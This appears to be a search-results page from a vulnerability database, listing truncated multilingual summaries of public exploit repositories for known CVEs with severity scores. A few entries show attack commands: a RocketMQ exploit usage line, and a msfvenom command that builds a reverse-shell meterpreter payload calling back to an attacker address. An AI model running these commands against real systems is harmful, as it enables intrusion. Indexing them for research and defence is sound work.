Lucene search
+L

1135114 matches found

Kitploit
Kitploit
added 2026/09/02 10:43 a.m.3 views

CVE-2025-32433

CVE-2025-32433 ثغرة أمنية حرجة في خادم SSH الخاص بـ Erlang/OTP تسمح بتنفيذ تعليمات برمجية عن بُعد RCE دون مصادقة. يكمن الخلل في آلية معالجة رسائل بروتوكول SSH، مما يمكّن المهاجمين من تنفيذ أوامر عشوائية دون الحاجة إلى بيانات اعتماد للمصادقة. التأثير ثغرة أمنية بالغة الخطورة تتيح للمهاجمين إمكانية...

10CVSS7.8AI score0.98594EPSS
SaveExploits38
Kitploit
Kitploit
added 2026/09/02 10:42 a.m.6 views

CVE-2023-33246

CVE-2023-33246 Apache RocketMQ ثغرة تنفيذ التعليمات البرمجية عن بعد CVE-2023-33246 استغلال طريقة الاستخدام: root@kitploit: java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "open -a Calculator" ميزات هذه الأداة نظرًا لأن آلية دقات القلب تؤدي إلى تشغيل الثغرة كل 30 ثانية، فإن الأداة تتأخر لم...

9.8CVSS8.5AI score0.96604EPSS
SaveExploits11
Kitploit
Kitploit
added 2026/09/02 10:42 a.m.5 views

CVE-2022-24637

CVE-2022-24637 استغلال الثغرة RCE غير المصادق عليها في Open Web Analytics OWA 1.7.3. هذا العمل مبني على https://devel0pment.de/?p=2494. إخلاء مسؤولية: تم إنشاء هذا النص البرمجي لتدقيق أمن الأنظمة. استخدم هذا النص البرمجي فقط على أنظمتك الخاصة أو على الأنظمة التي لديك إذن كتابي لاستغلالها...

9.8CVSS8.1AI score0.99055EPSS
SaveExploits14
Kitploit
Kitploit
added 2026/09/02 10:42 a.m.4 views

CVE-2022-0848-RCE

CVE-2022-0848 تنفيذ التعليمات البرمجية عن بعد RCE في part-db 0.5.11 قم بتغيير المضيف في ملف bash وقم بتشغيله، ثم احصل على شيل عبر RCE...

10CVSS8.2AI score0.35436EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/09/02 10:42 a.m.4 views

CVE-2024-46538

شكرًا لـphysicszq، الذي اكتشف هذه الثغرة. CVE-2024-46538 ★ CVE-2024-46538 ثغرة XSS مخزنة في PfSense تؤدي إلى تنفيذ تعليمات برمجية تعسفية PoC ★ الوصف CVE-2024-46538 : ثغرة XSS مخزنة في PfSense الوصف: ثغرة برمجة نصية عبر المواقع XSS في pfsense الإصدار 2.5.2 تسمح للمهاجمين بتنفيذ نصوص برمجية أو HTML...

9.3CVSS8AI score0.81583EPSS
SaveExploits3References2
Kitploit
Kitploit
added 2026/09/02 10:42 a.m.4 views

CVE-2020-15227

CVE-2020-15227 إخلاء مسؤولية! لا أتحمل أي مسؤولية عن استخدام هذه الأداة في بيئة حية، لذا يُرجى عدم القيام بذلك. هذا الشيء هو فقط للتوضيح ولاختبار الأشياء من قبل مدراء الأنظمة. لقد صنعت هذا الاستغلال وفقًا لنشر ثغرة CVE من ديفيد غرودل مؤسس مؤسسة Nette. كباحث أمني، قمت بتطوير وحش صغير لأغراض تعليمي...

9.8CVSS8.1AI score0.34424EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/02 10:42 a.m.6 views

CVE-2022-30024

CVE-2022-30024 استغلال rce لـ Tplink wr841 v10 ⚠️ إخلاء المسؤولية الكود الموجود في هذا المستودع مُقدَّم كما هو لأغراض البحث الأمني التعليمي والدفاعي فقط. استخدمه فقط على الأنظمة التي تملكها أو التي لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر أو انتهاكات قانونية ناجمة عن هذ...

8.8CVSS7.5AI score0.02021EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/02 10:42 a.m.4 views

CVE-2022-22947

CVE-2022-22947 CVE-2022-22947 개요 Spring Cloud Gateway 원격 코드 실행 취약점CVE-2022-22947은 Spring Cloud Gateway 애플리케이션의 Actuator 엔드포인트에서 발생하며, 활성화되어 있고 공개되어 있으며 안전하지 않은 경우 코드 주입 공격에 취약합니다. 공격자는 이 취약점을 통해 원격 호스트에서 임의의 원격 실행을 허용하는 요청을 악의적으로 생성할 수 있습니다. 영향 받는 버전 root@kitploit: Spring Cloud Gateway 3.1.x 3.1....

10CVSS7.9AI score0.98253EPSS
SaveExploits54
Kitploit
Kitploit
added 2026/09/02 10:42 a.m.6 views

SnatchBox

SnatchBox SnatchBox CVE-2020-27935 est une vulnérabilité d'évasion de la sandbox affectant macOS jusqu'à la version 10.15, ainsi que les premières versions bêta de macOS 11.0. L'impact le plus significatif de SnatchBox est qu'il permet à un éditeur malveillant de s'échapper de la sandbox non...

6.3CVSS6.8AI score0.01684EPSS
SaveExploits0
Kitploit
Kitploit
added 2026/09/02 10:42 a.m.5 views

CVE-2023-4220-Proof-of-concept

CVE-2023-4220-Proof-of-concept ثغرة رفع ملفات كبيرة غير مصادق عليها في Chamilo LMS تسمح بتنفيذ الأوامر عن بُعد الكود مُعدّ ومُستخدم من أجل HACKTHEBOX CTF PERMX رفع ملفات غير مصادق عليه في وظيفة رفع الملفات الكبيرة في /main/inc/lib/javascript/bigupload/inc/bigUpload.php في Chamilo LMS كود شيل PHP...

8.1CVSS7.2AI score0.76084EPSS
SaveExploits26References1
Kitploit
Kitploit
added 2026/09/02 10:42 a.m.7 views

CVE-2018-20250

الإعداد فيديو توضيحي: https://youtu.be/5tuWsi1tGS0 جهاز VirtualBox: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit خطوات التنفيذ Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows:...

7.8CVSS7.1AI score0.96274EPSS
SaveExploits14
Kitploit
Kitploit
added 2026/09/02 10:41 a.m.6 views

LibSSH-exploit

LibSSH-exploit CVE-2018-10933 خوادم ssh المعرضة للخطر - libssh قبل الإصدار 0.8.4 يرسل رسالة تفويض المستخدم التي تسمح بتنفيذ الأوامر عن بُعد RCE الاستخدام: ''' Libsshexploit.py '''...

9.1CVSS7.5AI score0.91789EPSS
SaveExploits13
Kitploit
Kitploit
added 2026/09/02 10:41 a.m.4 views

CVE-2025-55182-React2Shell-RCE

CVE-2025-55182 - React2Shell RCE بدون مصادقة في React Server Components تُعد CVE-2025-55182، المعروفة أيضًا باسم React2Shell ، ثغرة تنفيذ تعليمات برمجية عن بُعد RCE بدون مصادقة حرجة تؤثر على حزم React Server Components الإصدارات 19.0 و19.1.0 و19.1.1 و19.2.0. قد تسمح هذه الثغرة للمهاجمين بتحقيق...

10CVSS7.4AI score0.99802EPSS
SaveExploits389
Kitploit
Kitploit
added 2026/09/02 10:41 a.m.5 views

CVE-2021-44228-example

Ceci est un exemple d'exploitation de CVE-2021-44228 Une vulnérabilité RCE de Log4J2 Je ne suis pas responsable de ce code. SVP ne l'utilisez pas à des fins malveillantes CVE-2021-44228 : Cette vulnérabilité vous permet d'exécuter du code arbitraire en journalisant un message malveillant sur la...

10CVSS7.4AI score0.99999EPSS
SaveExploits368References1
Kitploit
Kitploit
added 2026/09/02 10:40 a.m.3 views

Flowise-CVE-2026-58057-exploit

Flowise CVE-2026-58057 - استغلال تنفيذ الأوامر عن بُعد على ويندوز -orange?style=for-the-b...

5CVSS6AI score0.01556EPSS
SaveExploits4References1
Kitploit
Kitploit
added 2026/09/02 10:40 a.m.5 views

CVE-2022-22963-PoC

CVE-2022-22963 RCE PoC مثال بسيط لإعادة إنتاج تنفيذ التعليمات البرمجية عن بُعد RCE في CVE-2022-22963 عبر org.springframework.cloud:spring-cloud-function-core. الاستغلال تشغيل الخادم root@kitploit: mvn spring-boot:run إرسال طلب root@kitploit: curl -X POST -H...

9.8CVSS7.6AI score0.99938EPSS
SaveExploits37References1
Kitploit
Kitploit
added 2026/09/02 10:40 a.m.6 views

CVE-2020-27955-LFS

Git-lfs Remote Code Execution RCE exploit CVE-2020-27955 .bat / powershell version Vulnérable : git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken etc. Découvert par Dawid Golunski https://legalhackers.com https://exploitbox.io Testé sous Windows sur : git,...

10CVSS7.9AI score0.82591EPSS
SaveExploits14References1
Kitploit
Kitploit
added 2026/09/02 10:40 a.m.6 views

Assignement_3-CVE-2017-7269

CVE-2017-7269 الاسم: Killian Munt-Buron و Naji Ullah Abbasi وصف الثغرة CVE-2017-7269 هي ثغرة تجاوز سعة المخزن المؤقت buffer overflow في نظام Microsoft Windows Server 2003 R2. توجد الثغرة في دالة ScStoragePathFromUrl في WebDAV. تسمح هذه الثغرة بتنفيذ كود تعسفي عبر ترويسة header طويلة. تبدأ الترويس...

10CVSS8.2AI score0.99823EPSS
SaveExploits41
Kitploit
Kitploit
added 2026/09/02 10:39 a.m.3 views

CVE-2022-22965-PoC

CVE-2022-22965 إثبات المفهوم مثال بسيط لكيفية إعادة إنتاج ثغرة CVE-2022-22965 Spring RCE. التشغيل باستخدام docker compose 1. ابنِ التطبيق باستخدام Docker compose root@kitploit: docker-compose up --build 2. لاختبار التطبيق، تصفح إلى http://localhost:8080/handling-form-submission-complete/greeting ...

9.8CVSS7.5AI score0.99638EPSS
SaveExploits105
Kitploit
Kitploit
added 2026/09/02 10:39 a.m.5 views

cve-2024-4577

سكربت اختبار الثغرة CVE-2024-4577 هذا السكربت بلغة Python هو أداة PoC Proof of Concept بسيطة لتشخيص الثغرة الأمنية الأخيرة في PHP CVE-2024-4577. ⚠️ هذه الأداة مقدمة لأغراض التشخيص الأمني فقط، ويجب استخدامها فقط على الأنظمة التي تملكها أو على الأهداف المصرح بها مسبقًا. 📌 نظرة عامة تتيح هذه الثغرة،...

9.8CVSS7.5AI score0.99987EPSS
SaveExploits68
Rows per page
Query Builder